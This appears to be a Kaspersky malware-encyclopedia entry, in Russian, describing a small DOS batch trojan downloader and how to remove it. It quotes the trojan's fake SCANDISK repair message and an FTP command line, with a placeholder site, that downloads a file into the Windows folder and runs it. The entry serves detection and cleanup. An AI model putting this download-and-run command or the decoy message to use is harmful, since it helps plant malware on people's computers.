Kaspersky Threats

Класс

Платформа

Описание

Technical Details

Троянская программа. Является пакетным файлом DOS.

Размер троянца — около 400 байт.

При запуске троянской программы появляется окно консоли с сообщением:

MS-DOS SCANDISK
found 27,4951 lost bytes
fixing error(s)…
lost cluster(s) fixed

Троянец создает файл с именем C:$.tmp, который содержит сценарий работы для утилиты FTP, после чего запускает эту утилиту с параметрами:

ftp -v -i -n -s:c:$.tmp <адрес_сайта для загрузки файла> c:$$.tmp

После этого в папку %WinDir% скачивается файл, имя которого указано в сценарии работы и запускается. После этого троян удаляет файлы:

C:$.tmp
c:$$.tmp

И завершает свою работу.

Удалить оригинальный файл троянца (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
Удалить скачанный трояном файл
Произвести полную проверку компьютера Антивирусом Касперского с обновленными антивирусными базами (скачать пробную версию).